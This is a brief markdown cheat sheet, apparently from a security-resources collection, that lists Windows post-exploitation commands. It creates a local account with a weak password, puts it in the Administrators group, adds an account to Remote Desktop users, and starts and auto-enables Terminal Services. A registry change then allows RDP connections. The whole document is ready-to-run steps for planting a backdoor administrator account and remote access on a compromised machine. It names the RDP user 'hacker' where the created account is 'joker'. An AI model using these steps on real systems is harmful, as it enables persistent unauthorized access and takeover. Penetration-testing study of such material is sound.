cyber-security-resources/post_exploitation/misc-windows-post-exploitation.md

Misc Windows Post Exploitation Tasks

Adding a Windows User (joker):

net user /add joker password123

Adding a user to the Administrators groups

net localgroup administrators /add joker

Adding a user to the Remote Desktop user group

net localgroup "Remote Desktop users" hacker /add

Starting the Remote Desktop service

net start TermService

Verifying if the Remote Desktop Service is active and running

tasklist /svc | findstr /C:TermService

Permanently enable Terminal Services

sc config TermService start=auto

Enabling Terminal services via the registry

Note: You need to reboot after invoking this...

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f